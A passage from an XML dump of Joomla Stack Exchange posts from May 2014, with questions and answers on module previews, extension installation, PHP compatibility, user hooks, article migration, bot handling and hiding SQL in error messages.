href=&quot;https://github.com/joomla/joomla-cms/blob/7d55d68cfbfe2b86589f2df9aab1771afce4fab0/libraries/cms/module/helper.php#L233&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/7d55d68cfbfe2b86589f2df9aab1771afce4fab0/libraries/cms/module/helper.php#L233&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and extend this if statement&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/7d55d68cfbfe2b86589f2df9aab1771afce4fab0/libraries/cms/module/helper.php#L98&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/7d55d68cfbfe2b86589f2df9aab1771afce4fab0/libraries/cms/module/helper.php#L98&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; || $input-&amp;gt;getBool('myoutline')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now you can control the modules positions preview from your template/html/module.php  and make it look better than what we have in j default since 1.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;access the preview via &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sitename/?myoutline=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I will extend this one bit more and show you why I did this.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for us to show users all available module positions for our &lt;a href=&quot;http://www.joomlatemplates.youjoomla.info/yougrids/grids-preview.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;template framework&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we must publish over 50 module positions which are just plain HTML. In my eyes this is an overload. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the override in place , I can now remove all those 50+ modules and control the preview &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the content via the chrome function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/3im4yl&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://prntscr.com/3im4yl&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I still have same preview like on our old demos &lt;/p&gt;&#xA;&#xA;&lt;p&gt;with much less modules. &lt;/p&gt;&#xA;" OwnerUserId="200" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-05-12T19:04:02.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="783" PostTypeId="1" AcceptedAnswerId="785" CreationDate="2014-05-12T17:28:23.907" Score="2" ViewCount="45" Body="&lt;p&gt;Is there some sort of API available to trigger an install through the extension manager?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask this is allowing a component to install add ons though its administration is handy, but it should of course keep to the Joomla API's to ensure the updater can read it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have been unable to find documentation on such a thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea for what I am building is to load an xml file that links to the typical update manifests used by Joomla, to list all extensions that can be used to add on to my component. This can give me a link to the install zip. Having that I can pass it to the extension manager to auto-install it (then redirect back).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Just to clarify, this would install the extension through the component, not during install of the component. Although they can end up with similar code, I feel integrating a component into the extension manager in some form is really useful when it comes to supporting add ons.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-05-12T18:42:02.150" LastActivityDate="2014-05-12T18:42:02.150" Title="Using the Joomla Extension manager to support component add ons" Tags="|component|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="784" PostTypeId="2" ParentId="779" CreationDate="2014-05-12T17:31:35.023" Score="8" Body="&lt;p&gt;From my experience:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;About Joomla framework&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to build a simple RESTful API for integrated authentication based on Joomla framework. It's fairly complex, quite different than the current Joomla API. Also, current source code can't be copy-pasted, and libraries may return unexpected results (being executed in a different environment). I'm going to wait until more code is available, and it has greater adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;About FOF framework&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently developing only with FOF. Quite handy, a lot of RAD, automatic configutation, etc; and code is compatible with J2.5/J3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a RESTful API, you can just grab the todo-fof-example, and add a controller with the API. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getIndexStatus()&#xA;{&#xA;    // CSRF prevention&#xA;    if ($this-&amp;gt;csrfProtection)&#xA;    {&#xA;        $this-&amp;gt;_csrfProtection();&#xA;    }&#xA;&#xA;    $message['status'] = true;&#xA;    $message['error_message'] = 'Status Ok';&#xA;&#xA;    $message = json_encode($message);&#xA;    echo $message;&#xA;    flush();&#xA;&#xA;    JFactory::getApplication()-&amp;gt;close();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you can take advantage of automatic json views E.g. a browsing view (default.php) can generate json output (just adding &lt;code&gt;default_json.php&lt;/code&gt; and &lt;code&gt;echo json_encode&lt;/code&gt; ...)&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="168" LastEditDate="2014-05-12T23:04:07.390" LastActivityDate="2014-05-12T23:04:07.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="785" PostTypeId="2" ParentId="783" CreationDate="2014-05-12T18:23:19.097" Score="3" Body="&lt;p&gt;This is a good example of a complex installation script that can be fired from scriptfile tag (&lt;a href=&quot;http://docs.joomla.org/J2.5%3aDeveloping_a_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J2.5:Developing_a_MVC_Component/Adding_an_install-uninstall-update_script_file&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/akeeba/fof/blob/development/fof/utils/installscript/installscript.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/akeeba/fof/blob/development/fof/utils/installscript/installscript.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most actions to install libraries, plugins, modules, etc are based on &lt;strong&gt;JInstaller&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-05-12T18:23:19.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="786" PostTypeId="1" AcceptedAnswerId="787" CreationDate="2014-05-12T20:48:57.713" Score="5" ViewCount="28694" Body="&lt;p&gt;I have a client with an old Joomla 1.5 they dont want to upgrade this year but their host wants to upgrade the server. What is the maximum version of php that Joomla 1.5 will run rather than the min that is listed?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.joomla.org/technical-requirements.html#footnote-1xPHP&#xA;Joomla! versions 1.5.15 and later are compatible with PHP 5.3.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would it run ok on 5.3.10? I would guess it would break on 5.4 but I find it hard to build a test machine with old versions to test. So more question from experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2021-11-12T18:22:08.103" Title="What is the maximum version of PHP that Joomla 1.5 will run?" Tags="|joomla-1.5|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="787" PostTypeId="2" ParentId="786" CreationDate="2014-05-12T20:51:18.610" Score="6" Body="&lt;p&gt;If you're running Joomla 1.5.14 or &lt;strong&gt;below&lt;/strong&gt; then you should stick to PHP 5.2 as there may be a few functions and/or code snippets that may not work on PHP 5.3 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you're running Joomla 1.5.15 or &lt;strong&gt;above&lt;/strong&gt;, you should be fine with upgrading to PHP 5.3. If you're using the OpenID library, then this won't be compatible with PHP 5.3 and thus you will either need to find an alternative or stick with PHP 5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on which versions of PHP, MySQL and Apache, have a look at the&lt;a href=&quot;http://www.joomla.org/technical-requirements.html&quot; rel=&quot;noreferrer&quot;&gt;Technical Requirements&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you upgrade to Joomla 1.5.26 which is the latest version of the 1.5 series.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-05-12T20:56:53.160" LastActivityDate="2014-05-12T20:56:53.160" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="788" PostTypeId="1" CreationDate="2014-05-13T01:36:48.983" Score="3" ViewCount="281" Body="&lt;p&gt;I'm using the Contus HD Video Share component on my site. The component adds a table that tracks whether or not a user can upload videos. Unfortunately this table is not kept in sync with the users tables, so every time a new user registers I have to manually go in and activate their upload capabilities, which is what creates an entry in the component table with their ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I say all that to ask: is there a hook/trigger for when a user is created that I can extend to programmatically activate this capability?&lt;/p&gt;&#xA;" OwnerUserId="393" LastEditorUserId="22" LastEditDate="2014-05-13T05:25:31.460" LastActivityDate="2014-05-13T05:25:31.460" Title="Contus HD Video Share - User onCreate Hook?" Tags="|joomla-api|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="789" PostTypeId="2" ParentId="773" CreationDate="2014-05-13T01:51:53.550" Score="1" Body="&lt;p&gt;I figured that the cause of the issue was down to what the result of the query so I played around with it a bit and stripped out any non numeric strings that were returned like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(&quot;DISTINCT LEFT(a.description2, LOCATE('(', a.description2) - 1) AS height&quot;);&#xA;$query-&amp;gt;from('#__cadcam_disc AS a');&#xA;$query-&amp;gt;where(&quot;LEFT(a.description2, LOCATE('(', a.description2) - 1) &amp;gt; 0&quot;);&#xA;$query-&amp;gt;order(&quot;LEFT(a.description2, LOCATE('(', a.description2) - 1) + 0&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that rectified the situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still don't understand the cause of the problem but at least it is fixed now.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-05-13T01:51:53.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="790" PostTypeId="2" ParentId="788" CreationDate="2014-05-13T03:06:34.653" Score="4" Body="&lt;p&gt;I think you could try to use onAfterSave (&lt;a href=&quot;http://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Plugin/Events&lt;/a&gt;) to populate the proper database table and the upload state. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at an existing user plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/plugins/user/profile/profile.php#L331&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/plugins/user/profile/profile.php#L331&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can ignore most of the contents there except the constructor. The other events or methods don't matter really. But you should be able to pull the userid this way and then inject it into the table for the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - if you need to check and see if the account is new or not you can probably start with a query which checks to see if the record is in the video component table already. If so, then skip the insert. If not then go ahead and do the insert. &lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-05-13T03:06:34.653" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="792" PostTypeId="2" ParentId="696" CreationDate="2014-05-13T06:52:34.813" Score="2" Body="&lt;p&gt;Here is a general method if your site crashes using .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You should comment one or both of these lines:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Options +FollowSymLinks&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;and/or,&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;RewriteBase /&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This should work fine!&#xA;Note: you do commenting by giving a hashtag for a line &quot;#&quot;&lt;/p&gt;&#xA;" OwnerUserId="398" LastActivityDate="2014-05-13T06:52:34.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="794" PostTypeId="1" CreationDate="2014-05-13T13:02:54.737" Score="1" ViewCount="116" Body="&lt;p&gt;To be more specific, I have 2 video players loaded into an article on two different tabs. One is live, the other is on-demand. They don't play nice together, but it's nice to have them available on tabs instead of in two different articles completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a tab plugin or even just tab code I can use in the article that will load and unload the tab contents so that when you're on tab 1, tab 2's contents aren't loaded at all, and when you click on tab 2, tab 1 is flushed and then tab 2's contents load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this even possible, or should I just use 2 different articles and a menu so that each player is on a different page?&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-09-03T02:11:00.370" Title="How do I implement tabs in an article that flush and load content when clicked on?" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="795" PostTypeId="1" CreationDate="2014-05-13T13:23:46.800" Score="5" ViewCount="2775" Body="&lt;p&gt;I do display and save forms in Joomla MVC components using &lt;strong&gt;&lt;code&gt;jmodeladmin&lt;/code&gt;&lt;/strong&gt; classes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I do same thing from a module?&#xA;As modules don't do things in the MVC way that automatically can find the corresponding view, model and controller. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess I would display a form giving following what is mentioned in this post &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/775/how-to-get-the-form-of-component-from-module&quot;&gt;How to get the form of component from module?&lt;/a&gt;&lt;/strong&gt; but when form's submit button is clicked in the concerned module, how can I catch the submission &amp;amp; save using &lt;strong&gt;jmodeladmin classes&lt;/strong&gt;??&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-12-02T07:19:55.290" Title="How to show and save a form from module like we do in components?" Tags="|joomla-3.x|joomla-2.5|mvc|model|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="797" PostTypeId="2" ParentId="795" CreationDate="2014-05-13T17:20:30.597" Score="4" Body="&lt;p&gt;I would think you need to catch the output from your module using a component. You can use JForm to output the form in your module, and then have hidden inputs like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;index.php&quot; method=&quot;POST&quot; name=&quot;yourform&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;com_yourcomponent&quot; name=&quot;option&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;yourview&quot; name=&quot;view&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;savesomething&quot; name=&quot;task&quot;/&amp;gt;&#xA;&amp;lt;!-- ...and other input-fields with your actual form input --&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you can use all the usual methods to handle the form input...&lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2014-05-13T17:20:30.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="798" PostTypeId="1" CreationDate="2014-05-13T18:26:47.540" Score="7" ViewCount="6266" Body="&lt;p&gt;&lt;strong&gt;I am trying to migrate some articles.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my host I get 403 errors for J2XML export so I thought I would set it up on a localhost. The front end looks fine unless you try to login. Fortunately I get a list of deprecations and library errors for frontend access but when I try to login administrator side I only get a white screen. No errors, no nothing. I am under the impression this will not be fun so if I simply import articles into 3.x am I going to break it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other suggestions for just moving one 1.5.26 Section of content without copy paste each and every article into 3.2?&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="159" LastEditDate="2014-05-13T18:46:42.413" LastActivityDate="2014-10-19T01:17:11.440" Title="How to migrate articles from Joomla 1.5 to 3.x?" Tags="|joomla-3.x|migration|articles|joomla-1.5|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="800" PostTypeId="2" ParentId="798" CreationDate="2014-05-13T18:56:02.833" Score="6" Body="&lt;p&gt;You can try redmigrator(free) or SpUpgrade (commercial). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try redmigrator four days ago and it works very well, if you only need the articles. If you follow the youtube redmigrator tutorial, it should be easy to migrate your content from J1.5 to J3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;redmigrator Site: &lt;a href=&quot;http://redcomponent.com/redcomponent/redmigrator&quot; rel=&quot;nofollow&quot;&gt;http://redcomponent.com/redcomponent/redmigrator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;redmigrator Tutorial: &lt;a href=&quot;https://www.youtube.com/watch?v=khYZjHtiuZw#&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=khYZjHtiuZw#&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The good thing with SpUpgrade and redmigrator is, they don't need access to the old site to perform the migrate. They need only access database and files.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2014-05-14T06:58:02.703" LastActivityDate="2014-05-14T06:58:02.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="801" PostTypeId="2" ParentId="776" CreationDate="2014-05-13T19:09:57.010" Score="1" Body="&lt;p&gt;Maybe this is the solution!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the original topic from  joomla.forum.org:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=803468&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=803468&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tutorial for CLI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Setting_up_automatic_Smart_Search_indexing&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Setting_up_automatic_Smart_Search_indexing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-05-13T19:09:57.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="802" PostTypeId="2" ParentId="798" CreationDate="2014-05-13T21:13:47.303" Score="6" Body="&lt;p&gt;I use J2XML which works great and it's free &lt;a href=&quot;http://www.eshiol.it/joomla/j2xml/j2xml-1503.html&quot;&gt;http://www.eshiol.it/joomla/j2xml/j2xml-1503.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="387" LastActivityDate="2014-05-13T21:13:47.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="803" PostTypeId="1" AcceptedAnswerId="804" CreationDate="2014-05-13T21:19:18.157" Score="7" ViewCount="4480" Body="&lt;p&gt;I am developing my own slideshow component and module for Joomla. The component is used to select the slides along with captions and links etc. The module shows the slides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the component, for each slide I have enabled the option to add a link to each slide. The field type that I have used is the menu item field type &lt;a href=&quot;http://docs.joomla.org/Menuitem_form_field_type&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Menuitem_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to add the menu item id to the database for that particular slide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is; how do I take this menu item id and then in the module use it to get the full menu item link? I will understand that I will probably have to search through the database to find the right menu item and then find the appropriate link but I am not quite sure where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could point me in the right direction I would appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks  :)&lt;/p&gt;&#xA;" OwnerUserId="387" LastEditorUserId="1520" LastEditDate="2015-07-12T06:31:36.523" LastActivityDate="2016-11-21T22:42:51.427" Title="Get full link from menu item field type" Tags="|joomla-3.x|component|module|menu-item|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="804" PostTypeId="2" ParentId="803" CreationDate="2014-05-13T21:33:41.970" Score="5" Body="&lt;p&gt;To get the ID which I assume you know already, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$itemid = $params-&amp;gt;get('field_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the URL based on the ID, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$itemid = $params-&amp;gt;get('field_name'); //change the field name to whatever you have &#xA;&#xA;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$link = $menu-&amp;gt;getItem($itemid)-&amp;gt;link;&#xA;&#xA;echo JRoute::_($link);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will echo a SEF URL. If you want a standard URL then simply use &lt;code&gt;echo $link;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-13T21:33:41.970" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="805" PostTypeId="2" ParentId="798" CreationDate="2014-05-13T22:03:26.227" Score="2" Body="&lt;p&gt;I use SP upgrade by Cyend. It is a paid extension. But what I consider to be most useful with this extension, is the option to keep the same ids of the migrated data.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-05-13T22:03:26.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="806" PostTypeId="2" ParentId="588" CreationDate="2014-05-13T22:33:38.573" Score="3" Body="&lt;p&gt;If you have your access logs, you might be able to pull out all the requested image files in the last X months (you will need to play with all this data). So these are very probably in use in your actual site (yet not 100%).&#xA;Depending on your content and site structure and if your site is not really huge (i.e. 1 million articles), it is very probably that the remaining are probably not in use (again not 100%).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find this solution as easy one. Backup the images prior to deletion. You can track later on for 404 errors trying to open specific files and you may decide to restore these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is dirty solution, but there is really no easy way. The best option would be to follow Chad advise and to write your own parser.&lt;/p&gt;&#xA;" OwnerUserId="246" LastActivityDate="2014-05-13T22:33:38.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="807" PostTypeId="2" ParentId="705" CreationDate="2014-05-13T22:47:43.583" Score="3" Body="&lt;p&gt;There is no easy solution, because bots have different behaviour.&#xA;I would split them into 4 categories and solution for each:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Legitimate crawlers (i.e. Google) - these usually respect robots.txt and as you said, you are not interested in that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Legitimate scrappers (i.e. Facebook) - these usually have the proper user agent, so you can block these based on that (the user agent).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Crawlers that don't respect robots.txt - easiest way is to create an invisible link (for humans) on your page, put it rel=nofollow (to not have issues with legitimate crawlers) to that link. The link should be going to a page, where you will log IP, UA and similar stuff of the crawler. Then you can implement a check against that log and if there is match, you will simply not should the content.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One of scrappers - similar to Facebook, but with fake user agent. The only viable solution is to check for cookies support, yet it is not 100% guarantee it will work. It will also block users who have disabled cookies.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="246" LastActivityDate="2014-05-13T22:47:43.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="808" PostTypeId="1" CreationDate="2014-05-13T22:56:12.593" Score="10" ViewCount="1505" Body="&lt;p&gt;In my table I have created an index on 'col1' to prevent duplicate entries which works well but the resulting error message displayed to a user when they attempt to add a duplicate entry seems to to me be a security concern as it displays the SQL including the table prefix.&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to stop Joomla from displaying the SQL in the error message?&lt;/p&gt;&#xA;&lt;p&gt;I've tried changing the error reporting settings in the global config but it has no effect as far as I can tell...&lt;/p&gt;&#xA;&lt;p&gt;Example message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error&lt;/p&gt;&#xA;&lt;p&gt;Save failed with the following error: Duplicate entry 'Test' for key 'TestKey' SQL=INSERT INTO `jml_mycomp_tbl1` (`id`,`col1`,`ordering`,`state`,`created_by`) VALUES ('0','Test','2','1','730')&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="132" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-05-14T08:46:08.083" Title="Prevent error message from showing SQL" Tags="|joomla-3.x|component|error-handling|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="809" PostTypeId="2" ParentId="808" CreationDate="2014-05-13T23:00:51.340" Score="1" Body="&lt;p&gt;You should change your code that makes the insert to firstly check for duplicate and return a proper error (one that you write) to the user and not rely on showing the actual error returned by MySQL.&lt;/p&gt;&#xA;" OwnerUserId="246" LastActivityDate="2014-05-13T23:00:51.340" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="810" PostTypeId="2" ParentId="798" CreationDate="2014-05-13T23:40:37.350" Score="0" Body="&lt;p&gt;So I did a insert into select statement from my old database to new and once I batch moved them the asset table set the keys that were missing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT into newsiteprefix_content (`title`, `alias`, ....) SELECT (`title`, `alias`, ...) FROM oldsite.jos_content WHERE sectionid = ##&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks. No component clean up and still fairly fresh site. If I could have had my oldsite setup on the newsite same localhost I would have tried all these other options but I think the php versioning may have been causing the problem&#xA;I would be interested to know how detrimental the ids are for SEO although I don't think I was ever experiencing awesome SEO to begin with.  &lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2014-05-13T23:57:40.983" LastActivityDate="2014-05-13T23:57:40.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="811" PostTypeId="2" ParentId="749" CreationDate="2014-05-13T23:47:18.227" Score="1" Body="&lt;p&gt;You can read carefully through this PR in Github:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/2508&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/2508&lt;/a&gt;&#xA;And also to:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/2769&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/2769&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has been implemented since Joomla! 3.2.2, it basically allows to setup additional parameters in the download URL. &lt;strong&gt;It is for updates&lt;/strong&gt; and not for initial installation, but I think it can work out for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your password protected directory could make a check against params in the URL requested (either 1, 2 or even 3 params).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you will have:&#xA;&lt;a href=&quot;http://example.com/passwordprotecteddirectory/file.zip&quot; rel=&quot;nofollow&quot;&gt;http://example.com/passwordprotecteddirectory/file.zip&lt;/a&gt; - requesting this will result in 401&#xA;&lt;a href=&quot;http://example.com/passwordprotecteddirectory/file.zip?user=admin&amp;amp;pass=123456&amp;amp;secretkey=4901&quot; rel=&quot;nofollow&quot;&gt;http://example.com/passwordprotecteddirectory/file.zip?user=admin&amp;amp;pass=123456&amp;amp;secretkey=4901&lt;/a&gt; - your server should make the check if these params are allowed to download and return the file if so or again return 401, in case there is no permission.&lt;/p&gt;&#xA;" OwnerUserId="246" LastEditorUserId="246" LastEditDate="2014-05-14T00:02:31.727" LastActivityDate="2014-05-14T00:02:31.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
